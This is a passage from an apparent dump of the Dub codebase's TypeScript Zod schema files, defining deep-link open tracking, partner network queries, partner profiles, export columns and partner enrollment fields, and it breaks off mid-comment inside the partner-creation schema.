    "content": "import { parseUrlSchema } from \"@/lib/zod/schemas/utils\";\nimport * as z from \"zod/v4\";\n\nexport const trackOpenRequestSchema = z\n  .object({\n    deepLink: parseUrlSchema\n      .optional()\n      .describe(\n        \"The deep link that brought the user to the app. If left blank, Dub will fallback to probabilistic tracking by using the `dubDomain` parameter to check if there is an associated click event for the user's IP address. Learn more: https://d.to/ddl\",\n      ),\n    dubDomain: z\n      .string()\n      .optional()\n      .describe(\n        \"Your deep link custom domain on Dub (e.g. `acme.link`). This is used in probabilistic tracking to check if there is an associated click event for the user's IP address. Learn more: https://d.to/ddl\",\n      ),\n  })\n  .superRefine((data, ctx) => {\n    if (!data.deepLink && !data.dubDomain) {\n      ctx.addIssue({\n        code: z.ZodIssueCode.custom,\n        message:\n          \"You need to provide either `deepLink` or `dubDomain` for deferred deep linking.\",\n      });\n    }\n  });\n\nexport const trackOpenResponseSchema = z.object({\n  clickId: z\n    .string()\n    .nullable()\n    .describe(\n      \"The click ID of the associated open event (or the prior click that led the user to the app store for probabilistic tracking). This will be `null` if the open event was not associated with a deep link (e.g. a direct download from the app store), or if the open event was performed by a bot (no click recorded). Learn more: https://d.to/ddl\",\n    ),\n  link: z\n    .object({\n      id: z.string().describe(\"The ID of the deep link.\").meta({\n        example: \"link_xxx\",\n      }),\n      domain: z.string().describe(\"The domain of the deep link.\").meta({\n        example: \"acme.link\",\n      }),\n      key: z.string().describe(\"The key of the deep link.\").meta({\n        example: \"fb-promo\",\n      }),\n      url: z.string().describe(\"The URL of the deep link.\").meta({\n        example: \"https://acme.com/product/123\",\n      }),\n    })\n    .nullable()\n    .describe(\n      \"The deep link that brought the user to the app. This will be `null` if the open event was not associated with a link (e.g. a direct download from the app store). Learn more: https://d.to/ddl\",\n    ),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/partner-network.ts",
    "content": "import { PlatformType } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { booleanQuerySchema, getPaginationQuerySchema } from \"./misc\";\nimport { PartnerSchema, partnerPlatformSchema } from \"./partners\";\n\nexport const PARTNER_CONVERSION_SCORES = [\n  \"unknown\",\n  \"low\",\n  \"average\",\n  \"good\",\n  \"high\",\n  \"excellent\",\n] as const;\n\nexport const PARTNER_CONVERSION_SCORE_RATES: Record<\n  (typeof PARTNER_CONVERSION_SCORES)[number],\n  number\n> = {\n  unknown: 0,\n  low: 0,\n  average: 0.005,\n  good: 0.01,\n  high: 0.03,\n  excellent: 0.05,\n};\n\nexport const PartnerConversionScoreSchema = z.enum(PARTNER_CONVERSION_SCORES);\n\nexport const PARTNER_NETWORK_MAX_PAGE_SIZE = 100;\n\nexport const NetworkPartnersStatusSchema = z.enum([\n  \"discover\",\n  \"invited\",\n  \"recruited\",\n]);\n\nexport const getNetworkPartnersQuerySchema = z\n  .object({\n    status: NetworkPartnersStatusSchema.default(\"discover\"),\n    country: z.string().optional(),\n    starred: booleanQuerySchema.nullish(),\n    platform: z.enum(PlatformType).optional(),\n    subscribers: z\n      .enum([\"<5000\", \"5000-25000\", \"25000-100000\", \"100000+\"])\n      .optional(),\n    partnerIds: z\n      .union([z.string(), z.array(z.string())])\n      .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n      .optional(),\n  })\n  .extend(\n    getPaginationQuerySchema({ pageSize: PARTNER_NETWORK_MAX_PAGE_SIZE }),\n  );\n\nexport const getNetworkPartnersCountQuerySchema = getNetworkPartnersQuerySchema\n  .omit({\n    status: true,\n    page: true,\n    pageSize: true,\n  })\n  .extend({\n    status: NetworkPartnersStatusSchema.nullish(),\n    groupBy: z\n      .enum([\"status\", \"country\", \"platform\", \"subscribers\"])\n      .default(\"status\"),\n  });\n\nexport const NetworkPartnerSchema = PartnerSchema.pick({\n  id: true,\n  name: true,\n  companyName: true,\n  country: true,\n  profileType: true,\n  image: true,\n  description: true,\n  createdAt: true,\n  trustedAt: true,\n  monthlyTraffic: true,\n  preferredEarningStructures: true,\n  salesChannels: true,\n}).extend({\n  lastConversionAt: z.date().nullable(),\n  conversionScore: PartnerConversionScoreSchema,\n  starredAt: z.date().nullable(),\n  invitedAt: z.date().nullable(),\n  ignoredAt: z.date().nullable(),\n  recruitedAt: z.date().nullable(),\n  categories: z.array(z.string()),\n  platforms: z.array(partnerPlatformSchema),\n});\n\nexport const updateDiscoveredPartnerSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n  starred: z.boolean().optional(),\n  ignored: z.boolean().optional(),\n});\n\nexport const invitePartnerFromNetworkSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n  groupId: z.string().nullish().default(null),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/partner-profile.ts",
    "content": "import {\n  DATE_RANGE_INTERVAL_PRESETS,\n  DUB_PARTNERS_ANALYTICS_INTERVAL,\n} from \"@/lib/analytics/constants\";\nimport { PARTNER_CUSTOMERS_MAX_PAGE_SIZE } from \"@/lib/constants/partner-profile\";\nimport {\n  CommissionType,\n  PartnerPayoutMethod,\n  PartnerProfileType,\n  PartnerRole,\n  ProgramEnrollmentStatus,\n  ReferralStatus,\n} from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { analyticsQuerySchema, eventsQuerySchema } from \"./analytics\";\nimport {\n  bountyPerformanceConditionSchema,\n  BountySchema,\n  BountySubmissionSchema,\n} from \"./bounties\";\nimport {\n  CommissionSchema,\n  getCommissionsCountQuerySchema,\n  getCommissionsQuerySchema,\n} from \"./commissions\";\nimport { customerActivityResponseSchema } from \"./customer-activity\";\nimport { CustomerEnrichedSchema } from \"./customers\";\nimport { LinkSchema } from \"./links\";\nimport { getPaginationQuerySchema } from \"./misc\";\nimport { payoutsQuerySchema } from \"./payouts\";\nimport { referralFormDataSchema } from \"./referral-form\";\nimport { centsSchema } from \"./utils\";\n\nexport const PartnerEarningsSchema = CommissionSchema.omit({\n  userId: true,\n  invoiceId: true,\n}).extend({\n  customer: z\n    .object({\n      id: z.string(),\n      email: z.string(),\n      country: z.string().nullish(),\n    })\n    .nullable(),\n  link: LinkSchema.pick({\n    id: true,\n    shortLink: true,\n    url: true,\n  }).nullish(),\n});\n\nexport const getPartnerEarningsQuerySchema = getCommissionsQuerySchema\n  .omit({\n    partnerId: true,\n    sortBy: true,\n  })\n  .extend({\n    interval: z\n      .enum(DATE_RANGE_INTERVAL_PRESETS)\n      .default(DUB_PARTNERS_ANALYTICS_INTERVAL),\n    timezone: z.string().optional(),\n    type: z.enum(CommissionType).optional(),\n    linkId: z.string().optional(),\n    sortBy: z.enum([\"createdAt\", \"amount\", \"earnings\"]).default(\"createdAt\"),\n  });\n\nexport const getPartnerEarningsCountQuerySchema = getCommissionsCountQuerySchema\n  .omit({\n    partnerId: true,\n  })\n  .extend({\n    interval: z\n      .enum(DATE_RANGE_INTERVAL_PRESETS)\n      .default(DUB_PARTNERS_ANALYTICS_INTERVAL),\n    timezone: z.string().optional(),\n    type: z.enum(CommissionType).optional(),\n    linkId: z.string().optional(),\n    groupBy: z.enum([\"linkId\", \"customerId\", \"status\", \"type\"]).optional(),\n  });\n\nexport const getPartnerEarningsTimeseriesSchema =\n  getPartnerEarningsCountQuerySchema.extend({\n    timezone: z.string().optional(),\n  });\n\nexport const PartnerProfileLinkSchema = LinkSchema.pick({\n  id: true,\n  domain: true,\n  key: true,\n  shortLink: true,\n  url: true,\n  clicks: true,\n  leads: true,\n  sales: true,\n  saleAmount: true,\n  comments: true,\n}).extend({\n  createdAt: z.string().or(z.date()),\n  partnerGroupDefaultLinkId: z.string().nullish(),\n  discountCode: z.string().nullable().default(null),\n});\n\nexport const PartnerProfileCustomerSchema = CustomerEnrichedSchema.pick({\n  id: true,\n  email: true,\n  country: true,\n  createdAt: true,\n  firstSaleAt: true,\n  subscriptionCanceledAt: true,\n}).extend({\n  activity: customerActivityResponseSchema,\n});\n\nexport const partnerProfileAnalyticsQuerySchema = analyticsQuerySchema.omit({\n  externalId: true,\n  tenantId: true,\n  programId: true,\n  partnerId: true,\n  tagId: true,\n  tagIds: true,\n  folderId: true,\n});\n\nexport const partnerProfileEventsQuerySchema = eventsQuerySchema.omit({\n  externalId: true,\n  tenantId: true,\n  programId: true,\n  partnerId: true,\n  tagId: true,\n  tagIds: true,\n  folderId: true,\n});\n\nexport const partnerProfileProgramsQuerySchema = z.object({\n  includeRewardsDiscounts: z.coerce.boolean().optional(),\n  status: z.enum(ProgramEnrollmentStatus).optional(),\n});\n\nexport const partnerProfileProgramsCountQuerySchema =\n  partnerProfileProgramsQuerySchema.pick({ status: true });\n\nexport const partnerNotificationTypes = z.enum([\n  \"commissionCreated\",\n  \"applicationApproved\",\n  \"newMessageFromProgram\",\n  \"marketingCampaign\",\n  \"connectPayoutReminder\",\n]);\n\nexport const partnerBountySubmissionSchema = BountySubmissionSchema.extend({\n  commission: PartnerEarningsSchema.pick({\n    id: true,\n    earnings: true,\n    status: true,\n    createdAt: true,\n  })\n    .nullable()\n    .default(null),\n});\n\nexport const PartnerBountySchema = BountySchema.omit({\n  groups: true,\n  socialMetricsLastSyncedAt: true,\n}).extend({\n  submissions: z.array(partnerBountySubmissionSchema),\n  performanceCondition: bountyPerformanceConditionSchema\n    .nullable()\n    .default(null),\n  partner: z.object({\n    totalClicks: z.number(),\n    totalLeads: z.number(),\n    totalConversions: z.number(),\n    totalSales: z.number(),\n    totalSaleAmount: centsSchema,\n    totalCommissions: centsSchema,\n  }),\n});\n\nexport const invitePartnerUserSchema = z.object({\n  email: z.email({ error: \"Please enter a valid email.\" }),\n  role: z.enum(PartnerRole),\n});\n\nexport const getPartnerUsersQuerySchema = z.object({\n  search: z.string().optional(),\n  role: z.enum(PartnerRole).optional(),\n});\n\nexport const partnerUserSchema = z.object({\n  id: z.string().nullable(),\n  name: z.string().nullable(),\n  email: z.string(),\n  role: z.enum(PartnerRole),\n  image: z.string().nullish(),\n  createdAt: z.date(),\n});\n\nexport const partnerProfileChangeHistoryLogSchema = z.array(\n  z.union([\n    z.object({\n      field: z.literal(\"country\"),\n      from: z.string().nullable(),\n      to: z.string(),\n      changedAt: z.coerce.date(),\n    }),\n    z.object({\n      field: z.literal(\"profileType\"),\n      from: z.enum(PartnerProfileType),\n      to: z.enum(PartnerProfileType),\n      changedAt: z.coerce.date(),\n    }),\n  ]),\n);\n\nexport const partnerPayoutMethodSchema = z.object({\n  type: z.enum(PartnerPayoutMethod),\n  label: z.string(),\n  default: z.boolean(),\n  connected: z.boolean(),\n  identifier: z.string().nullable(),\n});\n\nexport const partnerProfilePayoutsQuerySchema = payoutsQuerySchema.extend({\n  programId: z.string().optional(),\n  sortBy: payoutsQuerySchema.shape.sortBy.default(\"initiatedAt\"),\n});\n\nexport const getPartnerCustomersQuerySchema = z\n  .object({\n    search: z\n      .string()\n      .optional()\n      .describe(\n        \"A search query to filter customers by email or name. Only available if customer data sharing is enabled.\",\n      ),\n    country: z\n      .string()\n      .optional()\n      .describe(\n        \"A filter on the list based on the customer's `country` field.\",\n      ),\n    linkId: z\n      .string()\n      .optional()\n      .describe(\n        \"A filter on the list based on the customer's `linkId` field (the referral link ID).\",\n      ),\n    sortBy: z\n      .enum([\"createdAt\", \"saleAmount\"])\n      .optional()\n      .default(\"createdAt\")\n      .describe(\n        \"The field to sort the customers by. The default is `createdAt`.\",\n      ),\n    sortOrder: z\n      .enum([\"asc\", \"desc\"])\n      .optional()\n      .default(\"desc\")\n      .describe(\"The sort order. The default is `desc`.\"),\n  })\n  .extend(\n    getPaginationQuerySchema({ pageSize: PARTNER_CUSTOMERS_MAX_PAGE_SIZE }),\n  );\n\nexport const getPartnerCustomersCountQuerySchema =\n  getPartnerCustomersQuerySchema\n    .omit({\n      sortBy: true,\n      sortOrder: true,\n      page: true,\n      pageSize: true,\n    })\n    .extend({\n      groupBy: z.enum([\"country\", \"linkId\"]).optional(),\n    });\n\nexport const partnerProfileReferralSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  email: z.email(),\n  company: z.string(),\n  status: z.enum(ReferralStatus),\n  customerId: z.string().nullable(),\n  formData: z.array(referralFormDataSchema).nullable().optional(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n});\n\nexport type PartnerProfileReferral = z.infer<\n  typeof partnerProfileReferralSchema\n>;\n\nexport const getPartnerReferralsQuerySchema = z\n  .object({\n    status: z.enum(ReferralStatus).optional(),\n    search: z.string().optional(),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: 100 }));\n\nexport const getPartnerReferralsCountQuerySchema =\n  getPartnerReferralsQuerySchema\n    .omit({\n      page: true,\n      pageSize: true,\n    })\n    .extend({\n      groupBy: z.enum([\"status\"]).optional(),\n    });\n\nexport const partnerReferralsCountByStatusSchema = z.object({\n  status: z.enum(ReferralStatus),\n  _count: z.number(),\n});\n\nexport const partnerReferralsCountResponseSchema = z.union([\n  z.array(partnerReferralsCountByStatusSchema),\n  z.number(),\n]);\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/partners.ts",
    "content": "import { MAX_PARTNERS_INVITES_PER_REQUEST } from \"@/lib/constants/program\";\nimport {\n  IndustryInterest,\n  MonthlyTraffic,\n  PartnerBannedReason,\n  PartnerPayoutMethod,\n  PartnerProfileType,\n  PlatformType,\n  PreferredEarningStructure,\n  ProgramEnrollmentStatus,\n  SalesChannel,\n} from \"@dub/prisma/client\";\nimport { COUNTRY_CODES } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { analyticsQuerySchema } from \"./analytics\";\nimport { analyticsResponse } from \"./analytics-response\";\nimport { createLinkBodySchema } from \"./links\";\nimport {\n  base64ImageSchema,\n  booleanQuerySchema,\n  getPaginationQuerySchema,\n  googleFaviconUrlSchema,\n  publicHostedImageSchema,\n  storedR2ImageUrlSchema,\n} from \"./misc\";\nimport { ProgramEnrollmentSchema } from \"./programs\";\nimport { centsSchema, centsSchemaWithDefault, parseUrlSchema } from \"./utils\";\n\nexport const PARTNERS_MAX_PAGE_SIZE = 100;\n\nexport const ACTIVE_ENROLLMENT_STATUSES: ProgramEnrollmentStatus[] = [\n  ProgramEnrollmentStatus.approved,\n  ProgramEnrollmentStatus.archived,\n];\n\nexport const INACTIVE_ENROLLMENT_STATUSES: ProgramEnrollmentStatus[] = [\n  ProgramEnrollmentStatus.banned,\n  ProgramEnrollmentStatus.deactivated,\n  ProgramEnrollmentStatus.rejected,\n];\n\nexport const exportPartnerColumns = [\n  { id: \"id\", label: \"ID\", default: true },\n  { id: \"name\", label: \"Name\", default: true },\n  { id: \"email\", label: \"Email\", default: true },\n  { id: \"country\", label: \"Country\", default: true },\n  { id: \"status\", label: \"Status\", default: true },\n  { id: \"createdAt\", label: \"Enrolled at\", default: true },\n  {\n    id: \"payoutsEnabledAt\",\n    label: \"Payouts enabled at\",\n    default: true,\n    expanded: false,\n  },\n  { id: \"description\", label: \"Description\", default: false },\n  { id: \"totalClicks\", label: \"Clicks\", default: false, numeric: true },\n  { id: \"totalLeads\", label: \"Leads\", default: false, numeric: true },\n  {\n    id: \"totalConversions\",\n    label: \"Conversions\",\n    default: false,\n    numeric: true,\n  },\n  { id: \"totalSales\", label: \"Sales\", default: false, numeric: true },\n  { id: \"totalSaleAmount\", label: \"Revenue\", default: false, numeric: true },\n  {\n    id: \"totalCommissions\",\n    label: \"Commissions\",\n    default: false,\n    expanded: true,\n    numeric: true,\n  },\n  { id: \"netRevenue\", label: \"Net Revenue\", default: false, numeric: true },\n  { id: \"website\", label: \"Website\", default: false },\n  { id: \"youtube\", label: \"YouTube\", default: false },\n  { id: \"twitter\", label: \"X/Twitter\", default: false },\n  { id: \"linkedin\", label: \"LinkedIn\", default: false },\n  { id: \"instagram\", label: \"Instagram\", default: false },\n  { id: \"tiktok\", label: \"TikTok\", default: false },\n];\n\nexport const BAN_PARTNER_REASONS = {\n  tos_violation: \"Terms of Service Violation\",\n  inappropriate_content: \"Inappropriate or Offensive Content\",\n  fake_traffic: \"Artificial Traffic Generation\",\n  fraud: \"Fraudulent Activity\",\n  spam: \"Spam or Misleading Content\",\n  brand_abuse: \"Brand Abuse or Trademark Violations\",\n} as const;\n\nexport const exportPartnersColumnsDefault = exportPartnerColumns\n  .filter((column) => column.default)\n  .map((column) => column.id);\n\nexport const exportApplicationColumns = [\n  { id: \"id\", label: \"ID\" },\n  { id: \"name\", label: \"Name\" },\n  { id: \"email\", label: \"Email\" },\n  { id: \"country\", label: \"Country\" },\n  { id: \"createdAt\", label: \"Applied at\" },\n  { id: \"description\", label: \"Description\" },\n  { id: \"website\", label: \"Website\" },\n  { id: \"youtube\", label: \"YouTube\" },\n  { id: \"twitter\", label: \"X/Twitter\" },\n  { id: \"linkedin\", label: \"LinkedIn\" },\n  { id: \"instagram\", label: \"Instagram\" },\n  { id: \"tiktok\", label: \"TikTok\" },\n];\n\nexport const exportApplicationsColumnsDefault = [\n  \"id\",\n  \"name\",\n  \"email\",\n  \"country\",\n  \"createdAt\",\n  \"website\",\n  \"youtube\",\n  \"linkedin\",\n];\n\nexport const getPartnersQuerySchema = z\n  .object({\n    status: z\n      .enum(ProgramEnrollmentStatus)\n      .optional()\n      .describe(\"A filter on the list based on the partner's `status` field.\")\n      .meta({ example: \"approved\" }),\n    country: z\n      .string()\n      .optional()\n      .describe(\"A filter on the list based on the partner's `country` field.\")\n      .meta({ example: \"US\" }),\n    sortBy: z\n      .enum([\n        \"createdAt\",\n        \"totalClicks\",\n        \"totalLeads\",\n        \"totalConversions\",\n        \"totalSaleAmount\",\n        \"totalCommissions\",\n        \"netRevenue\",\n        \"earningsPerClick\",\n        \"averageLifetimeValue\",\n        \"clickToLeadRate\",\n        \"clickToConversionRate\",\n        \"leadToConversionRate\",\n        \"returnOnAdSpend\",\n      ])\n      .default(\"totalSaleAmount\")\n      .describe(\n        \"The field to sort the partners by. The default is `totalSaleAmount`.\",\n      )\n      .meta({ example: \"totalSaleAmount\" }),\n    sortOrder: z\n      .enum([\"asc\", \"desc\"])\n      .default(\"desc\")\n      .describe(\"The sort order. The default is `desc`.\")\n      .meta({ example: \"desc\" }),\n    email: z\n      .string()\n      .optional()\n      .describe(\n        \"Filter the partner list based on the partner's `email`. The value must be a string. Takes precedence over `search`.\",\n      )\n      .meta({ example: \"panic@thedis.co\" }),\n    tenantId: z\n      .string()\n      .optional()\n      .describe(\n        \"Filter the partner list based on the partner's `tenantId`. The value must be a string. Takes precedence over `email` and `search`.\",\n      )\n      .meta({ example: \"1K0NM7HCN944PEMZ3CQPH43H8\" }),\n    search: z\n      .string()\n      .optional()\n      .describe(\n        \"A search query to filter partners by ID, name, email, or link.\",\n      )\n      .meta({ example: \"john\" }),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: PARTNERS_MAX_PAGE_SIZE }));\n\nexport const getPartnersQuerySchemaExtended = getPartnersQuerySchema.extend({\n  partnerIds: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .optional(),\n  groupId: z.string().optional(),\n  includePartnerPlatforms: booleanQuerySchema.optional(),\n});\n\nexport const partnersExportQuerySchema = getPartnersQuerySchemaExtended\n  .omit({ page: true, pageSize: true })\n  .extend({\n    columns: z\n      .string()\n      .default(exportPartnersColumnsDefault.join(\",\"))\n      .transform((v) => v.split(\",\")),\n  });\n\nexport const partnersCountQuerySchema = getPartnersQuerySchemaExtended\n  .omit({\n    sortBy: true,\n    sortOrder: true,\n    page: true,\n    pageSize: true,\n  })\n  .extend({\n    groupBy: z.enum([\"status\", \"country\", \"groupId\"]).optional(),\n  });\n\nexport const partnerPlatformSchema = z.object({\n  type: z.enum(PlatformType),\n  identifier: z.string(),\n  verifiedAt: z.date().nullable(),\n  platformId: z.string().nullable(),\n  avatarUrl: z.string().nullish(),\n  subscribers: z.bigint().default(BigInt(0)),\n  posts: z.bigint().default(BigInt(0)),\n  views: z.bigint().default(BigInt(0)),\n});\n\nexport const PartnerPartnerPlatformsSchema = z.object({\n  website: z\n    .string()\n    .nullish()\n    .describe(\"The partner's website URL (including the https protocol).\"),\n  youtube: z\n    .string()\n    .nullish()\n    .describe(\"The partner's YouTube channel username (e.g. `johndoe`).\"),\n  twitter: z\n    .string()\n    .nullish()\n    .describe(\"The partner's Twitter username (e.g. `johndoe`).\"),\n  linkedin: z\n    .string()\n    .nullish()\n    .describe(\"The partner's LinkedIn username (e.g. `johndoe`).\"),\n  instagram: z\n    .string()\n    .nullish()\n    .describe(\"The partner's Instagram username (e.g. `johndoe`).\"),\n  tiktok: z\n    .string()\n    .nullish()\n    .describe(\"The partner's TikTok username (e.g. `johndoe`).\"),\n});\n\nexport const MAX_PARTNER_INDUSTRY_INTERESTS = 8;\n\nexport const PartnerProfileSchema = z.object({\n  monthlyTraffic: z\n    .enum(MonthlyTraffic)\n    .nullable()\n    .describe(\"The partner's monthly traffic.\"),\n  industryInterests: z\n    .array(z.enum(IndustryInterest))\n    .max(MAX_PARTNER_INDUSTRY_INTERESTS)\n    .refine((arr) => new Set(arr).size === arr.length, {\n      message: \"Duplicate industry interests are not allowed.\",\n    })\n    .describe(\"The partner's industry interests.\"),\n  preferredEarningStructures: z\n    .array(z.enum(PreferredEarningStructure))\n    .refine((arr) => new Set(arr).size === arr.length, {\n      message: \"Duplicate preferred earning structures are not allowed.\",\n    })\n    .describe(\"The partner's preferred earning structures.\"),\n  salesChannels: z\n    .array(z.enum(SalesChannel))\n    .refine((arr) => new Set(arr).size === arr.length, {\n      message: \"Duplicate sales channels are not allowed.\",\n    })\n    .describe(\"The partner's sales channels.\"),\n});\n\nexport const MAX_PARTNER_DESCRIPTION_LENGTH = 500;\n\nexport const PartnerSchema = z\n  .object({\n    id: z.string().describe(\"The partner's unique ID on Dub.\"),\n    name: z.string().max(190).describe(\"The partner's full legal name.\"),\n    companyName: z\n      .string()\n      .max(190)\n      .nullable()\n      .describe(\n        \"If the partner profile type is a company, this is the partner's legal company name.\",\n      ),\n    profileType: z\n      .enum(PartnerProfileType)\n      .describe(\"The partner's profile type on Dub.\"),\n    email: z\n      .string()\n      .max(190)\n      .nullable()\n      .describe(\n        \"The partner's email address. Should be a unique value across Dub.\",\n      ),\n    image: z.string().nullable().describe(\"The partner's avatar image.\"),\n    description: z\n      .string()\n      .max(5000) // Left at 5000 instead of MAX_PARTNER_DESCRIPTION_LENGTH to avoid breaking changes\n      .nullish()\n      .describe(\"A brief description of the partner and their background.\"),\n    country: z\n      .string()\n      .nullable()\n      .describe(\"The partner's country (required for tax purposes).\"),\n    defaultPayoutMethod: z\n      .enum(PartnerPayoutMethod)\n      .nullable()\n      .describe(\n        \"The partner's default payout method. Connect: Bank account payouts via Stripe Connect; Stablecoin: USDC payouts directly to a crypto wallet; PayPal: Payouts via PayPal\",\n      ),\n    stripeConnectId: z\n      .string()\n      .nullable()\n      .describe(\n        \"The partner's Stripe Connect ID (for receiving payouts via Stripe).\",\n      ),\n    stripeRecipientId: z\n      .string()\n      .nullable()\n      .describe(\n        \"The partner's Stripe Recipient ID (for stablecoin/outbound payouts).\",\n      ),\n    paypalEmail: z\n      .string()\n      .nullable()\n      .describe(\n        \"The partner's PayPal email (for receiving payouts via PayPal).\",\n      ),\n    payoutsEnabledAt: z\n      .date()\n      .nullable()\n      .describe(\"The date when the partner enabled payouts.\"),\n    invoiceSettings: z\n      .object({\n        address: z.string().nullish(),\n        taxId: z.string().nullish(),\n      })\n      .nullable()\n      .describe(\"The partner's invoice settings.\"),\n    createdAt: z\n      .date()\n      .describe(\"The date when the partner was created on Dub.\"),\n    discoverableAt: z\n      .date()\n      .nullable()\n      .describe(\"The date when the partner was added to the partner network.\"),\n    trustedAt: z\n      .date()\n      .nullable()\n      .describe(\n        \"The date when the partner received the trusted badge in the partner network.\",\n      ),\n  })\n  .extend(PartnerPartnerPlatformsSchema.shape)\n  .extend(PartnerProfileSchema.partial().shape);\n\nexport const PartnerWithProfileSchema = PartnerSchema.extend(\n  PartnerProfileSchema.shape,\n);\n\nexport const PartnerRewindSchema = z.object({\n  id: z.string(),\n  partnerId: z.string(),\n  year: z.number(),\n  totalClicks: z.number().default(0),\n  totalLeads: z.number().default(0),\n  totalRevenue: z.number().default(0),\n  totalEarnings: z.number().default(0),\n  clicksPercentile: z.number().default(0),\n  leadsPercentile: z.number().default(0),\n  revenuePercentile: z.number().default(0),\n  earningsPercentile: z.number().default(0),\n});\n\n// Used externally by GET+POST /api/partners and partner.enrolled webhook\nexport const EnrolledPartnerSchema = PartnerSchema.pick({\n  id: true,\n  name: true,\n  companyName: true,\n  email: true,\n  image: true,\n  description: true,\n  country: true,\n  defaultPayoutMethod: true,\n  paypalEmail: true,\n  stripeConnectId: true,\n  payoutsEnabledAt: true,\n  trustedAt: true,\n})\n  .extend(\n    ProgramEnrollmentSchema.omit({\n      program: true,\n      rewards: true,\n      discount: true,\n      group: true,\n      customerDataSharingEnabledAt: true,\n      groupMoveDisabledAt: true,\n    }).shape,\n  )\n  .extend({\n    totalClicks: z\n      .number()\n      .default(0)\n      .describe(\"The total number of clicks on the partner's links\"),\n    totalLeads: z\n      .number()\n      .default(0)\n      .describe(\"The total number of leads generated by the partner's links\"),\n    totalConversions: z\n      .number()\n      .default(0)\n      .describe(\"The total number of leads that converted to paying customers\"),\n    totalSales: z\n      .number()\n      .default(0)\n      .describe(\n        \"The total number of sales generated by the partner's links (includes recurring sales)\",\n      ),\n    totalSaleAmount: centsSchemaWithDefault.describe(\n      \"Total revenue generated by the partner's links\",\n    ),\n    totalCommissions: centsSchemaWithDefault.describe(\n      \"The total commissions paid to the partner for their referrals\",\n    ),\n    netRevenue: centsSchemaWithDefault.describe(\n      \"Net revenue after commissions (`Total Revenue - Total Commissions`)\",\n    ),\n    earningsPerClick: z\n      .number()\n      .nullish()\n      .describe(\"Earnings Per Click (EPC) (`Total Revenue ÷ Total Clicks`)\"),\n    averageLifetimeValue: z\n      .number()\n      .nullish()\n      .describe(\n        \"Average lifetime value for each paying customer (`Total Revenue ÷ Total Conversions`)\",\n      ),\n    clickToLeadRate: z\n      .number()\n      .nullish()\n      .describe(\n        \"Percentage of clicks that become leads (`Total Leads ÷ Total Clicks`)\",\n      ),\n    clickToConversionRate: z\n      .number()\n      .nullish()\n      .describe(\n        \"Percentage of clicks that convert to paying customers (`Total Conversions ÷ Total Clicks`)\",\n      ),\n    leadToConversionRate: z\n      .number()\n      .nullish()\n      .describe(\n        \"Percentage of leads that convert to paying customers (`Total Conversions ÷ Total Leads`)\",\n      ),\n    returnOnAdSpend: z\n      .number()\n      .nullish()\n      .describe(\n        \"Return On Ad Spend (ROAS) (`Total Revenue ÷ Total Commissions`)\",\n      ),\n  })\n  .extend(\n    PartnerPartnerPlatformsSchema.pick({\n      website: true,\n      youtube: true,\n      twitter: true,\n      linkedin: true,\n      instagram: true,\n      tiktok: true,\n    }).shape,\n  );\n\nexport const EnrolledPartnerSchemaExtended = EnrolledPartnerSchema.extend({\n  lastLeadAt: z.date().nullish(),\n  lastConversionAt: z.date().nullish(),\n  customerDataSharingEnabledAt: z.date().nullish(),\n  groupMoveDisabledAt: z.date().nullish(),\n  platforms: z.array(partnerPlatformSchema).nullable(),\n})\n  .extend(\n    PartnerSchema.pick({\n      monthlyTraffic: true,\n      industryInterests: true,\n      preferredEarningStructures: true,\n      salesChannels: true,\n    }).shape,\n  )\n  .extend(PartnerPartnerPlatformsSchema.shape);\n\nexport const WebhookPartnerSchema = PartnerSchema.pick({\n  id: true,\n  name: true,\n  email: true,\n  image: true,\n  payoutsEnabledAt: true,\n  country: true,\n}).extend({\n  groupId: z.string().nullish(),\n  totalClicks: z.number(),\n  totalLeads: z.number(),\n  totalConversions: z.number(),\n  totalSales: z.number(),\n  totalSaleAmount: centsSchema,\n  totalCommissions: centsSchema,\n});\n\nexport const LeaderboardPartnerSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  image: z.string(),\n  totalCommissions: centsSchemaWithDefault,\n});\n\nexport const getPartnerCustomersQuerySchema = z\n  .object({\n    search: z.string().optional(),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: 100 }));\n\nexport const createPartnerSchema = z.object({\n  name: z\n    .string()\n    .trim()\n    .max(100)\n    .nullish()\n    .describe(\n      \"The partner's full name. If undefined, the partner's email will be used in lieu of their name (e.g. `john@acme.com`)\",\n    ),\n  email: z\n    .email()\n    .trim()\n    .max(190)\n    .describe(\n      \"The partner's email address. Partners will be able to claim their profile by signing up at `partners.dub.co` with this email.\",\n    ),\n  username: z\n    .string()\n    .max(100)\n    .nullish()\n    .describe(\n      \"The partner's unique username in your system (max 100 characters). This will be used to create a short link for the partner using your program's default domain. If not provided, Dub will try to generate a username from the partner's name or email.\",\n    ),\n  image: z\n    .string()\n    .nullish()\n    .describe(\n      \"The partner's avatar image. If not provided, a default avatar will be used.\",\n    ),\n  tenantId: z\n    .string()\n    .optional()\n    .describe(\n      \"The partner's unique ID in your system. Useful for retrieving the partner's links and stats later on. If not provided, the partner will be created as a standalone partner.\",\n    ),\n  groupId: z\n    .string()\n    .optional()\n    .describe(\n      \"The group ID to add the partner to. If not provided, the partner will be added to the default group.\",\n    ),\n  country: z\n    .string()\n    .nullish()\n    .describe(\n      \"The partner's country of residence. Must be passed as a 2-letter ISO 3166-1 country code. See https://d.to/geo for more information.\",\n    ),\n  description: z\n    .string()\n    .max(5000)\n    .nullish()\n    .describe(\n      \"A brief description of the partner and their background. Max 5,000 characters.\",\n    ),\n  linkProps: createLinkBodySchema\n    .omit({\n      url: true,\n      domain: true,\n      key: true,\n      // default programId / partnerId fields\n      programId: true,\n      partnerId: true,\n      // partner links always track conversions\n      trackConversion: true,\n      // folderId is set to the program's defaultFolderId\n      folderId: true,\n      // UTM params are derived from the partner's group 